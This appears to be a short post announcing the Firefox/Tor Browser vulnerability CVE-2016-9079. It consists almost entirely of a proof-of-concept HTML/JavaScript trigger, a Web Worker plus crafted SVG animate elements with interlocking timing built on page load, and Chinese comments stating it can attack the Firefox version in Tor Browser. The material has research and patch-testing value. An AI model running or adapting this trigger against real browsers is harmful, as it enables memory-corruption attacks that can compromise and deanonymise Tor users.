New Firefox/Tor Browser 0-day vulnerability （CVE-2016-9079）

<!-- 相关版本poc可在此下载 https://bugzilla.mozilla.org/show_bug.cgi?id=1321066 --> <!-- 来自 [tor-talk] 可在此下载：https://lists.torproject.org/pipermail/tor-talk/2016-November/042639.html，可被用来攻击利用 Tor 浏览器使用的 Firefox版本 --> <script> var worker = new Worker('data:javascript,self.onmessage=function(msg){postMessage("one");postMessage("two");};'); worker.postMessage("zero"); var svgns = 'http://www.w3.org/2000/svg'; worker.onmessage = function(e) {containerA.pauseAnimations();} var craftDOM = function() { containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idA = "ia"; var idC = "ic"; animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = craftDOM; </script>